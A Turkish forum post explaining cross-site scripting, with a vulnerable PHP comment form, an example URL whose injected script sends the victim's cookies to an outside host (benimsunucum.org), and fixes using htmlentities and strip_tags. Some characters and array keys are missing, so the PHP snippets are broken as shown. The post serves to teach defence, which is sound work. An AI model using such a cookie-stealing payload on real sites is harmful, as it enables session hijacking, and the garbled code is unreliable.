Selam TBT müridleri uzun zamandır takip edemediğim konular içerikler olduğu için bir cok bilgileri unutmuş durumdayım zamanım coğunu arama motorlarında gecirmekteyim dikkatımı ceken araştırdığım bir konuyu sizlerle paylaşımda bulunmaktayım.. XSS nedir? "XSS açıkları uygulama kullanıcıdan veri alıp, bunları herhangi bir kodlama ya da doğrulama işlemine tabi tutmadan sayfaya gndermesi ile oluşur. XSS saldırganın kurbanın tarayıcısında kullanıcı oturumları bilgilerin çalınmasına, web sitesinin tahrif edilmesine veya solucan yüklenmesine sebep olan betik çalıştırmasına izin verir." Hemen bir rnek verelim, burada kullanıcının oturum bilgileri çalınarak benimsunucum. org adresine gnderiliyor. <form action="yorum. php" method="GET" /> İsim: <input type="text" name="ad" /><br /> Yorum: <textarea name="yorum" rows="10" cols="60"></textarea><br /> <input type="submit" value="Yorumla" /></p> </form> yorum. php <?php $ad = $_POST ; $yorum = $_POST ; echo "<p>$ad nın yorumu <br />"; echo "<blockquote>$yorum</blockquote></p>"; ?> İşte burada devreye giriyor. Yollanan veriler http://sizinsite.com/yorum. php?ad=osman&yorum=yorum gibi gitmesi gerekirken cin fikirli bir kullanıcı bu adresi şyle değiştiriyor: http://sizinsite.com/yorum. php?ad=osman&yorum=<script>document. location='http://benimsunucum.org/kaydet. php?cookies=' + document. cookie </script> yazarak oturum bilgilerinizi kaydediyor. Verilerin POST ile gnderilmesi buna bir çzüm olabilir diyorsanız yanılıyorsunuz. Zira GET ve POST metotlarının ikiside kolayca manipüle edilebiliyor. Sadece POST ile adres satırında alenen değil gizli şekilde yapılıyor. Bu web programcılarının yaptığı en büyük zafiyet. Bunun için gelen veriler nce bir değerlendirmeye alınmalı, daha sonra kullanılmaya gnderilmelidir. Şunun gibi güvenli bir kod yapılabilir. $ad = htmlentities($_POST , ENT_QUOTES, 'UTF-8'); $yorum = htmlentities($_POST , ENT_QUOTES, 'UTF-8'); strip_tags ile de bu iş çzülebilir, strip_tags fonksiyonu değişkendeki bütün html taglarını siler. htmlentities ise değişkendeki html etiketlerini bir htmlentities tablosundaki değerlerle değiştirip değişkeni güvenli hale getirir. Burada girdileri kontrol ediyoruz ama can sıkıcı bir başka durum ise kontrol edilmeyen veya gzden kaçmış bir alanın yanlışlıkla veritabanına alınması ve kullanıcıya gsterilmesi esnasında yani çıktı kısmına problem oluşturması. Eğer değişkenleri kontrollü alıyorsanız problem yok ama atlanılabilecek bir durum szkonusu olabilir diye kullanıcıya verilerin sunulması aşamasında da htmlentities ve benzeri html tagl ayıklayıcılarıyla kontrol edilirse çifte güvenlik sağlanmış olur. Mesela kullanıcıya veritabanına bilgi girmeden nce "nizleme" sunan bir değişken byle bir soruna yol açabilir. Emekli